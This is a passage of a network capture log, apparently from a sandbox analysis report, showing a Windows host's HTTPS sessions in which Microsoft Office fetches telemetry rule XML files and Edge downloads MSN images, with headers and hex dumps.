2024-11-25 06:53:57 UTC	10072	IN	Data Raw: 43 1b ff 00 17 16 fc ba 25 51 8e 39 86 3f 93 4f d6 9f 82 3f 47 23 43 89 a1 cc 64 12 e7 1f 4d 87 bf f9 4a 56 60 fc 0f 82 da 5c 5b 6a 5c 6e 44 58 de f6 da f2 50 69 30 de 11 11 b0 82 3e 83 fc 94 47 63 69 3f e2 c4 4d ac 0c 47 01 09 18 da 33 bc fa a4 ee 7d d9 2e e8 04 fe 0b 45 9a 62 d3 b3 1e dd e5 c2 4e dc 69 36 83 13 d5 23 43 f4 1a 5c 2e e1 62 49 74 11 e5 01 0f a1 51 22 66 3b 12 05 fa 11 f6 2a 43 81 c4 ed 98 c2 77 87 54 2f c6 48 ff 00 34 d2 dc 8c 88 2c 79 37 02 96 c5 b7 07 7d c2 65 a8 9e 99 c5 12 ee 33 bf bc 7c e7 b7 9a 8b 5b 43 c3 4d 47 87 2c b6 fc 2e e1 1e 1c 56 cb bd 0c 8d 15 31 f2 6f 01 83 7f 31 c3 c5 44 71 80 d7 12 e0 01 82 c7 06 da 66 fd ee 90 d2 99 95 e4 c5 51 16 3f 08 fc 66 14 93 91 e1 c7 dd e1 b5 f7 d8 fd be 48 46 37 e5 30 20 8f 36 93 6e e7 75 61 94 Data Ascii: C%Q9?O?G#CdMJV`\[j\nDXPi0>Gci?MG3}.EbNi6#C\.bItQ"f;*CwT/H4,y7}e3\|[CMG,.V1o1DqfQ?fHF70 6nua

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.6	49936	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:56 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:56 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 28a3992e-001e-0028-777f-3bc49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065356Z-174c587ffdfb5q56hC1TEB04kg00000005d000000000hs7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:56 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.6	49941	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	634	OUT	GET /tenant/amp/entityid/BB1msyO4.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:57 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msyO4 Last-Modified: Sun, 17 Nov 2024 18:32:54 GMT X-Source-Length: 79668 X-Datacenter: westus X-ActivityId: 0a66f746-8b2f-4450-a7cf-b2fcc1269276 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 79668 Cache-Control: public, max-age=171431 Expires: Wed, 27 Nov 2024 06:31:07 GMT Date: Mon, 25 Nov 2024 06:53:56 GMT Connection: close
2024-11-25 06:53:57 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 79 75 9f 13 51 d2 12 eb 7e 23 c4 a5 d2 c6 3c ca 88 5d b5 64 eb 4e de b3 e3 23 67 48 4a 39 f1 8c f9 d6 b0 67 1f c5 c4 a8 d7 a6 94 ed eb 3e 23 c1 2f 48 76 f1 5b a4 50 c9 48 56 76 f5 6a f7 26 9c dd 48 47 30 a8 d2 87 29 a1 69 05 f2 92 50 f8 2a 9a 46 94 85 32 b0 12 09 0b 13 25 de a4 db 95 94 94 2c 4d 0b 3a d4 8b 25 34 84 94 f2 50 16 a0 8a 99 09 32 10 93 b5 24 ac 42 28 36 25 6f 34 a5 2e 43 85 b1 b0 ad d3 36 6a c7 6a 69 49 bd 6d 28 27 94 e0 4e 09 06 a4 60 05 8b 2d 43 43 53 c0 d8 96 ae c5 95 4a c3 4b 40 37 d0 b4 90 86 41 b1 04 92 16 a2 19 b1 9c ed a5 25 68 41 a5 21 25 6e 99 b1 eb 25 2e 94 15 89 a1 63 4e d0 ac ea 42 5b 1a d3 48 5a 2c 56 12 6b 4f 20 58 b2 8c 03 46 df 3a 96 f7 6c 59 58 25 ac 82 63 57 e1 4b dd f8 56 13 b1 29 29 4b 2d b1 6d 16 24 34 a1 94 d0 1a 5b 67 Data Ascii: yuQ~#<]dN#gHJ9g>#/Hv[PHVvj&HG0)iP*F2%,M:%4P2$B(6%o4.C6jjiIm('N`-CCSJK@7A%hA!%n%.cNB[HZ,VkO XF:lYX%cWKV))K-m$4[g
2024-11-25 06:53:57 UTC	2627	IN	Data Raw: 50 95 dd 14 60 4e f1 e1 2a 56 96 ee f9 e3 ec 57 4e 4d ce e7 3e a1 67 56 6d 6c 73 4f 4d 06 e7 0d d3 e8 82 72 c0 18 f0 0b ae 73 dd 48 35 75 c0 f0 43 d2 30 de 06 ef d4 2d c6 59 71 14 e4 55 da 7c ee 5a 68 f1 5d 2f dd 9c 08 d9 47 b5 02 a3 7e 21 bd 6e c5 39 d3 c3 5f b5 6c ec 3c 54 ad 14 d9 7f 9a 52 e8 de da 63 95 1e ab 57 01 0c bf 61 de 88 d7 7c 44 9f 3e 0a 96 ba b5 20 1e 29 83 a9 c7 9f a4 ad 6c 03 56 1f 03 b8 a1 55 6b bd c8 de 68 e4 88 f2 08 12 09 dc 7c 56 80 d8 a5 8e 3c 07 6a cf 93 48 c7 2c e0 87 55 ed bc 15 d1 ae 00 ff 00 4c 0d e0 f2 13 ea 91 f9 94 7c 91 a8 02 8d 52 a8 26 e7 1b 8d 3e 78 29 8d cc ad 73 4c 59 e3 17 a1 0c b6 b8 7c 8e 3a e6 f4 70 c2 df 94 3f 55 31 ce 61 66 68 8b 24 0a 19 bc d1 da 81 59 d6 36 75 a2 10 e8 98 1b 69 02 ea 71 94 30 1f 64 7e 6e 77 42 Data Ascii: P`N*VWNM>gVmlsOMrsH5uC0-YqU\|Zh]/G~!n9_l<TRcWa\|D> )lVUkh\|V<jH,UL\|R&>x)sLY\|:p?U1afh$Y6uiq0d~nwB
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: 14 b6 9d 78 6b 0a 6d 79 be 63 92 66 e8 ef 8a b8 4c 8b ac ef 2d c4 cc 75 2e 68 7b c5 0d cc 78 fe 93 54 f0 a0 23 1c f7 c0 0f ef 80 7d f0 d5 3e 40 fd a3 8d 04 52 40 31 b9 b0 a2 37 28 83 de aa f3 6c 56 06 9c 40 a6 61 6f 54 4f 9c 7e 64 07 f5 19 4e 20 1c b0 e6 ec 24 1d cd 74 84 d9 b9 99 6c 0d f9 c5 92 c0 d0 63 02 4c d1 16 42 98 fe a5 9d e8 64 1a b1 2c 01 86 00 b6 28 d4 b8 af ea 72 9d 27 46 f7 dd f3 38 91 69 b8 36 e4 47 da fd 33 15 bf cd 99 f8 17 33 aa 60 8e eb 5b 4d 15 5a 26 22 9e 3b d0 87 5a 44 d5 91 38 4d 1c 36 eb 44 3d 4e 5d 1d cc 99 9f 83 b6 9a 14 79 cb cc 35 b3 0b 05 81 ad c7 58 85 da 31 8a db 8c fd ec 1b a6 ea 1c 33 66 1a 6f bc 4c 0c 62 90 87 d4 f5 0d ce 75 6a 66 6e 34 d1 ea b1 b9 8e 65 0d a9 9a dc 2b 30 4f 1b f9 a4 74 be 90 c0 0c cd 32 e9 fe d8 bd 74 a8 Data Ascii: xkmycfL-u.h{xT#}>@R@17(lV@aoTO~dN $tlcLBd,(r'F8i6G33`[MZ&";ZD8M6D=N]y5X13foLbujfn4e+0Ot2t
2024-11-25 06:53:57 UTC	16384	IN	Data Raw: a7 bc d1 ac 5d e7 1a 10 b4 2e 00 c3 f8 b1 d0 38 02 16 b5 c4 b3 52 88 1c 2c 8d 47 b1 14 44 52 79 7e 88 9a 27 b7 16 39 06 a3 c5 ed e1 1d 8d 94 5c 06 9c 96 3b fc 3f e1 f4 41 3d 18 37 56 fc ae 07 d6 94 52 48 9e e8 ed e4 52 1c c2 3d de 7f f7 26 27 28 e2 b6 22 9e 85 c3 17 7e 66 38 73 12 a3 1e 95 e2 89 61 fc d1 fc 50 ba 63 3b 61 f3 bd 37 dc 3f f1 79 dc 71 5b d7 9b 35 0e 31 e9 b3 7e 02 75 41 f4 25 04 e5 bc 5e c7 8f ca 57 a0 39 d6 b0 1d cd ff 00 2a ba 66 fc 3c fc 16 b5 cf 41 a5 e6 8c 62 0f 02 b2 5a bd 4e 95 94 51 98 27 f1 4f aa 59 cb 3f e2 6f 63 4f 68 5a e6 7f 6c 8d 3b de 5a 5a 71 56 85 e9 48 64 7c cc de c8 f4 94 ba 31 66 51 e2 b5 cc 8e 8a 9e 6e 05 ab 63 6f 35 e8 6a 37 e0 67 2f 15 87 2d a2 fc ae 5f f6 ab 99 b9 53 81 4e 05 5e f5 ab b7 19 58 e5 8e 5e 0b 2a 64 7f 84 Data Ascii: ].8R,GDRy~'9\;?A=7VRHR=&'("~f8saPc;a7?yq[51~uA%^W9f<AbZNQ'OY?ocOhZl;ZZqVHd\|1fQnco5j7g/-_SN^X^d
2024-11-25 06:53:57 UTC	7952	IN	Data Raw: a5 6e 3d da 6c 91 c2 25 09 d9 79 6c 18 9d 43 9d 25 75 d5 0c 53 9f e7 6a 28 11 7d 1b c7 9e 49 8e c2 07 af 34 13 58 fc 5a f6 2d 04 9d 28 17 47 22 84 73 6f c5 47 f3 b5 2d 33 44 aa a0 a4 9c db 28 5a 1d b4 fa 28 db d5 de 9a 80 9a 73 8d d4 6e 58 33 0e 34 eb 50 62 94 56 b6 2f 46 98 36 9e d7 33 e1 c5 74 c6 60 69 a0 9d 53 0b 8b a4 8c 28 d8 88 0e 33 05 72 9c 6d a8 97 65 99 ee 9a 44 72 5d 5d 39 7b 43 5c 43 c7 c2 f1 58 7f 70 25 79 73 9a e8 31 07 6e 29 83 dc 44 49 1b 3c d2 b8 cf 6e f7 37 19 fc 5e 85 dd 3f 49 99 35 b2 03 4c fc d9 75 f2 e8 d4 6b 33 fb 57 3d ff 00 49 cb 7f fa 3d 40 07 e1 cd 6c 53 60 70 bf f9 42 86 c7 3d 86 6b 11 aa 79 62 ba 0d ea 60 0f 94 d2 2f bf c9 c6 8b 96 6b b9 8f 96 53 f7 fd ed 7d 99 f3 87 37 33 e9 3d 6e 5d 23 24 e6 0f 8b 2c 87 8e 44 9e 4b 96 ec b7 Data Ascii: n=l%ylC%uSj(}I4XZ-(G"soG-3D(Z(snX34PbV/F63t`iS(3rmeDr]]9{C\CXp%ys1n)DI<n7^?I5Luk3W=I=@lS`pB=kyb`/kS}73=n]#$,DK
2024-11-25 06:53:57 UTC	4072	IN	Data Raw: 34 6d da 6e 2a d6 18 51 a9 73 e6 49 a8 44 39 14 91 33 18 e1 72 23 72 da 36 eb 46 24 61 4c 72 56 48 f3 75 17 a2 72 ca 55 36 a0 3e ed 3a a1 16 a9 d8 29 40 05 d0 7d 52 56 71 9a 0f 05 8f 89 4b 0d 16 89 34 cc ca de ec 52 54 5b 4d 29 60 03 86 f4 51 48 ae 22 eb f1 2b 0e 65 88 40 98 a3 b2 85 90 e2 6e 27 f4 40 35 78 58 73 06 db d2 c4 1a 6e 4a e7 65 87 50 68 8c 29 bd 28 50 eb d6 97 0b 7c 14 71 9e c1 24 49 e1 b7 c1 69 cc 63 e2 c9 be 91 49 b7 c1 55 3d 25 0a 4b a4 52 ab a8 76 06 0f 1d aa 13 b3 18 6d 10 78 a5 6c 18 20 cf ea b7 a5 26 57 68 f3 c5 08 e6 34 63 ea 80 e6 c9 38 1c 7c 84 1d 11 a2 d9 a3 7a d4 63 1d 42 60 cc 20 5e 0f 6a cd 25 33 7a 86 72 a0 df 22 8b a7 8a 23 40 68 3c b8 ad 54 14 80 e8 a5 69 22 8f 14 b7 85 bd e7 51 1e d5 94 e7 2c 5a aa f6 b9 ac ab 04 a5 44 52 6d Data Ascii: 4mn*QsID93r#r6F$aLrVHurU6>:)@}RVqK4RT[M)`QH"+e@n'@5xXsnJePh)(P\|q$IicIU=%KRvmxl &Wh4c8\|zcB` ^j%3zr"#@h<Ti"Q,ZDRm

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.6	49938	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:56 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:56 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: bc0c8c97-701e-0053-1e45-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065356Z-178bfbc474bnwsh4hC1NYC2ubs000000074000000000avba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:56 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49937	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:56 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:57 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:56 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 18f8ca6a-701e-005c-1e55-3dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065356Z-174c587ffdfmlsmvhC1TEBvyks00000005q000000000dbpc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:57 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49942	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:57 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:57 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:57 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 21def030-601e-0084-7c7b-3b6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065357Z-174c587ffdfcb7qhhC1TEB3x7000000005ng00000000aw32 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:57 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49943	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:57 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:57 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:57 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 0cd55988-601e-003e-4d0c-3d3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065357Z-178bfbc474bnwsh4hC1NYC2ubs000000073000000000cgau x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:57 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49944	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:58 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:58 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065358Z-174c587ffdf8lw6dhC1TEBkgs800000005m0000000009c1t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:59 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49945	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:58 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:59 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:58 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: e3da2723-301e-0051-6021-3d38bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065358Z-178bfbc474bnwsh4hC1NYC2ubs000000075g000000007dyh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
